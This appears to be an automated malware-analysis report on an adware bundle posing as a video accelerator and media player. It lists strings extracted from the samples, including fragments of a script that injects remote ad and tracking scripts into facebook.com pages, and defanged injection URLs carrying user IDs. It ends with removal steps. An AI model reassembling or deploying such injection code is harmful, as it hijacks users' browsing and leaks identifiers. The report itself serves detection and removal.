[CSANotifierWebWindow::ReplaceLNGTags]

[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed

ItweetMessage.mht

SilentTestFailed.mht

SilentTestSucceeded.mht

ITUNESMESSAGE.MHT

hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp

OldDriver.mht

Activation_Expired.mht

noupdates.mht

exiting.mht

va_on.mht

va_off.mht

dl_update.mht

update.mht

HD_DISABLED.MHT

ACCELERATION_NOT_SUPPORTED.MHT

now_accelerating.mht

ACCELERATION_NOT_SUPPORTED_CHECKBOX

ACCELERATION_NOT_SUPPORTED_BUTTON_OK

%d days left.

%d Days left

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration

[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration

WININET.DLL

Gkernel32.dll

d/d/%d d:d:d::d

[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d

"%s" "%s"

"%s" %s

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

[ACCELINFO::OnDeserialize] ___Error get URL

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings

Hcomctl32.dll

Hcomdlg32.dll

Hshell32.dll

accKeyboardShortcut

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

commctrl_DragListMsg

Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

ntdll.dll

%s%s.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

mfcm90u.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

J.INI

J.com

DLG_%u

PID%u

les (x86)\YouTube Accelerator\YouTubeAccelerator.exe

Important:

Port:

Contact Our Support

See supported video sites

Join Today!

2.0.5.3

Watch YouTube and other web videos without pauses.

Twitter login

Password:

Enter your username and password for Twitter:

<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>

Communications test failed.JWe believe it might be a Security / Firewall issue.

For additional information, contact our support at:

hXXp://@[email protected]/support/

hXXp://@[email protected]/support/VWe believe the problem might be caused by Karspersky antivirus.

hXXp://@[email protected]/support/

Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address

(e.g. sample.proxy.com, 192.168.1.100)

@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium

lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...

@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @[email protected] out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:

@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.

@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.

HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.

Supported Video Sites

Every web video just got better

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

3.3.8.9

vlc.exe_944:

.text

P`.data

.rdata

`@.bss

.idata

.rsrc

.gnu_deb

libgcj_s.dll

Can't connect to FTP server 0xlu

VLC/2.0.2

globalhotkeys,none

VirtualQuery failed for %d bytes at address %p

Unknown pseudo relocation protocol version %d.

Unknown pseudo relocation bit size %d.

FtpPutFileW

libvlc.dll

KERNEL32.dll

msvcrt.dll

PSAPI.DLL

SHELL32.DLL

USER32.dll

WININET.DLL

<<<66:*/

.FDGS5$Yfll

Tx.AP:|

T.syy

L&Y^.sxx

.ZL9L

vlc.exe.dbg

OS=%d.%d.%d.%d.%s

VLC=2.0.2 Twoflower

x at %px

%p|%s

VLC crash reporting

VLC media player just crashed. Do you want to send a bug report to the developers team?

VLC Crash Reporter

crash.videolan.org

/crashes-win32/dddddd

Report sent

Report sent correctly. Thanks a lot for the help.

Report sending failed

There was an error while transferring to the FTP server. Thanks a lot for the help anyway.

There was an error while connecting to the FTP server. Thanks a lot for the help anyway.

kernel32.dll

C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\crashdump

vlc.exe

2.0.2

VLC media player 2.0.2

2e557ab0-2598-41a4-9b03-eb21869ae6cc.exe_3664:

.text

`.rdata

@.data

.rsrc

tCPjB

8%u(j

%d %d

ShellExecuteExW

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

1.2.1

Invalid HTTP(S) status code

InternetCrackUrlW

urlRedirected

HttpQueryInfoW

this module doesn't support file request

InternetCrackUrl Failed

port

HttpOpenRequest Failed

HttpSendRequest Failed with:

HttpQueryInfo Failed

HttpQueryInfoA

requestUrl

redirectUrl

httpCode

Mozilla\Mozilla Firefox

UrlEscapeW

9%D,3

1.1.1.2

inflate 1.2.7 Copyright 1995-2012 Mark Adler

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

VERSION.dll

HttpOpenRequestW

HttpSendRequestW

WININET.dll

PeekNamedPipe

GetProcessHeap

KERNEL32.dll

USER32.dll

GDI32.dll

RegCloseKey

RegCreateKeyExW

RegDeleteKeyW

RegEnumKeyExW

RegOpenKeyExW

RegQueryInfoKeyW

ADVAPI32.dll

ole32.dll

OLEAUT32.dll

COMCTL32.dll

GetCPInfo

.?AVCAgentExe@@

zc�

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

{A#ND$chromever=

Shell32.dll

Advapi32.dll

ie-error.gif

Wininet.dll

hXXps://

Shlwapi.dll

kernel32.dll

Version.dll

Wiexplore.exe

%d.%d.%d.%d

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe

Google\Chrome\Application\chrome.exe

chrome

VisualElementsManifest.xml

=Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Software\Mozilla\Mozilla Firefox

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe

Mozilla Firefox\firefox.exe

%d.%d (%d)

SOFTWARE\Microsoft\Windows NT\CurrentVersion

\0x%x

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

@crtorpedoie

if (document && document.location && typeof document.location.host == 'string' && document.location.host.indexOf('facebook.com') >= 0 && 194 !== PLUGIN_ID_PLACEHOLDER){

var tag = (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]);

K.setAttribute('src', httpUrl);

K.setAttribute('src', httpsUrl);

if (!httpsUrl || httpsUrl.length === 0) {

if ((typeof document.location.protocol === 'string') && (document.location.protocol.indexOf('https') === 0)) {

K.setAttribute('type', 'text/javascript');

var K = document.createElement('script');

var httpsUrl = '__HTTPS_URL_PLACEHOLDER__';

var httpUrl = '__HTTP_URL_PLACEHOLDER__';

tag.appendChild(K);

}, 500);

if (!document || !document.body || !tag){

if (!document || !document.body){

__HTTP_URL_PLACEHOLDER__

__HTTPS_URL_PLACEHOLDER__

hXXps://VVV.superfish.com/ws/sf_main.jsp?dlsource=hhvzmikw&userId=abc&CTID=__CROSSRIDER_EXTENDED_SUB_ID__&partnername=__CROSSRIDER_APP_NAME__

hXXp://VVV.superfish.com/ws/sf_main.jsp?dlsource=hhvzmikw&userId=abc&CTID=__CROSSRIDER_EXTENDED_SUB_ID__&partnername=__CROSSRIDER_APP_NAME__

hXXps://i_crdrjs_info.tlscdn.com/crdr/javascript.js?channel=crdr___CROSSRIDER_EXTENDED_SUB_ID__&appTitle=__CROSSRIDER_APP_NAME__&hid=__CROSSRIDER_USER_ID__

hXXp://i.crdrjs.info/crdr/javascript.js?channel=crdr___CROSSRIDER_EXTENDED_SUB_ID__&appTitle=__CROSSRIDER_APP_NAME__&hid=__CROSSRIDER_USER_ID__

hXXp://cdn.visadd.com/script/14567725765/preload.js?subid=__CROSSRIDER_SUB_ID__

hXXps://api.jollywallet.com/affiliate/client?dist=8&app_id=__CROSSRIDER_APP_ID__&s1=0&s2=0&s3=0&name=__CROSSRIDER_APP_NAME__

hXXp://api.jollywallet.com/affiliate/client?dist=8&app_id=__CROSSRIDER_APP_ID__&s1=0&s2=0&s3=0&name=__CROSSRIDER_APP_NAME__

hXXps://asrv-a.akamaihd.net/sd/1700/1043.js

hXXp://asrv-a.akamaihd.net/sd/1700/1043.js

hXXps://asrv-a.akamaihd.net/sd/1700/1037.js

hXXp://asrv-a.akamaihd.net/sd/1700/1037.js

hXXps://ads.tfxiq.com/a.php?626ref2=__CROSSRIDER_SUB_ID__&626Name=__CROSSRIDER_APP_NAME__&626ref3=__CROSSRIDER_USER_ID__&626ref1=63726f73737269646572&teid=__CROSSRIDER_APP_ID__&tuid=__CROSSRIDER_INSTALLER_USER_ID__

hXXp://ads.tfxiq.com/a.php?626ref2=__CROSSRIDER_SUB_ID__&626Name=__CROSSRIDER_APP_NAME__&626ref3=__CROSSRIDER_USER_ID__&626ref1=63726f73737269646572&teid=__CROSSRIDER_APP_ID__&tuid=__CROSSRIDER_INSTALLER_USER_ID__

hXXps://nps.noproblemppc.com/npsb/logic.js?OriginId=E8A4A23A-B034-E211-A9A0-001517D10F6E&SiteId=Sales&PartnerID=20000&ProductName=__CROSSRIDER_APP_NAME__&ToolbarId=__CROSSRIDER_EXTENDED_SUB_ID__

hXXp://nps.noproblemppc.com/npsb/logic.js?OriginId=E8A4A23A-B034-E211-A9A0-001517D10F6E&SiteId=Sales&PartnerID=20000&ProductName=__CROSSRIDER_APP_NAME__&ToolbarId=__CROSSRIDER_EXTENDED_SUB_ID__

hXXps://cdncache1-a.akamaihd.net/sub/v3219bd/__CROSSRIDER_SUB_ID__/l.js?pid=1094&ext=__CROSSRIDER_APP_NAME__&systemid=__CROSSRIDER_INSTALLER_USER_ID__

hXXp://cdncache1-a.akamaihd.net/sub/v3219bd/__CROSSRIDER_SUB_ID__/l.js?pid=1094&ext=__CROSSRIDER_APP_NAME__&systemid=__CROSSRIDER_INSTALLER_USER_ID__

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

mscoree.dll

USER32.DLL

%Program Files% (x86)\App Lid\2e557ab0-2598-41a4-9b03-eb21869ae6cc.exe

App Lid exe

1000.1000.1000.1000

App Lid.exe

WebPlayer.exe_4032:

.text

`.rdata

@.data

.rsrc

@.reloc

8%u:j

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

operator

GetProcessWindowStation

KERNEL32.dll

EnumWindows

USER32.dll

GDI32.dll

RegOpenKeyExW

RegCreateKeyExW

RegDeleteKeyW

RegCloseKey

RegEnumKeyExW

RegQueryInfoKeyW

ADVAPI32.dll

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

COMCTL32.dll

urlmon.dll

GetProcessHeap

GetCPInfo

.?AVIKeyValueStorage@@

.?AVCWebPlayerEventsCallback@@

.?AVCComWebPlayer@@

.?AV?$CComCoClass@VCComWebPlayer@@$1?GUID_NULL@@3U_GUID@@B@ATL@@

.?AV?$IDispatchDynamicImpl@VCComWebPlayer@@@@

.?AV?$CComObject@VCComWebPlayer@@@ATL@@

.?AVCWebPlayerView@@

.?AV?$CWindowImpl@VCWebPlayerView@@V?$CAxWindowT@VCWindow@ATL@@@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@

.?AV?$CTrayIcon@VCWebPlayerView@@@@

.?AV?$IDispEventImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B$1?LIBID_SHDocVw@@3U3@B$00$0A@VCComTypeInfoHolder@ATL@@@ATL@@

.?AV?$IDispEventSimpleImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AV?$_IDispEventLocator@$00$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

zc�

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

2 3$3(3,3

getWebBrowser

hXXps://

hXXp://

Advapi32.dll

Software\WebPlayer\

javascript.debug

javascript.show_errors

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

icons\main.ico

WebPlayerEngine

WebPlayer\

scripts\config.xml

window.placement

icons\tray.ico

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

mscoree.dll

KERNEL32.DLL

WUSER32.DLL

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe

&About WebPlayer

WebPlayer

Replace%Select the entire document

Arrange Icons/Arrange windows so they overlap

Cascade Windows5Arrange windows as non-overlapping tiles

Tile Windows5Arrange windows as non-overlapping tiles

Tile Windows(Split the active window into panes

1.1.0.0

WebPlayer.exe

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
YTAHelper.exe:1628
shopperpro.exe:3500
vlc-cache-gen.exe:3944
YouTubeAcceleratorService.exe:3040
YouTubeAcceleratorService.exe:2608
YouTubeAcceleratorService.exe:3732
ins_postInst.exe:3644
TPAutoConnSvc.exe:1776
2c511d52-7693-4ed4-9079-996023e7571e-4.exe:3968
appshat.exe:2916
biclient.exe:1224
biclient.exe:688
biclient.exe:1684
BB3.tmp:2544
Dbsuiszoxonm.exe:2680
ins_yta.exe:2524
testlsp.exe:2364
YTAHEL~1.EXE:2844
powershell.exe:3056
powershell.exe:2880
powershell.exe:4084
setup.exe:3204
WerFault.exe:2136
ShopperPro.exe:1744
f72568d9-a3ec-45be-93e0-9f4ce730882b.exe:2384
App Lid-codedownloader.exe:2192
App Lid-codedownloader.exe:700
vlc-2.0.2-win32.exe:580
regsvr32.exe:2288
regsvr32.exe:2308
regsvr32.exe:3600
regsvr32.exe:2568
regsvr32.exe:2996
regsvr32.exe:3648
lspinst.exe:3584
lspinst.exe:1452
webplayer_installer.exe:240
GLJ3321.tmp:3172
appshat_generic.exe:604
vlc.exe:944
DCytaiesmt_smtyc_setup.exe:1648
cscript.exe:1628
spbiu.exe:2792
spbiu.exe:476
wscript.exe:3140
GLB32D2.tmp:3296
2c511d52-7693-4ed4-9079-996023e7571e-11.exe:2496
taskeng.exe:3476
taskeng.exe:908
smt_mystartsearch.exe:3960
ytaiesmt_smtyc_setup.exe:1808
%original file name%.exe:3836
jsdrv.exe:3492
Delete the original Application file.
Delete or disinfect the following files created/modified by the Application:
%Program Files% (x86)\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse35E0.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse35DF.tmp (153103 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse35E0.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse35E0.tmp\setup.exe (1583141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse35E0.tmp\setup1.exe (142646 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll (389 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll (974 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll (155 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll (139 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll (487 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll (53 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll (53 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll (98 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll (69 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll (139 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll (167 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll (53 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll (106 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.3944 (135036 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll (724 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll (200 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll (53 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll (184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll (155 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll (770 bytes)
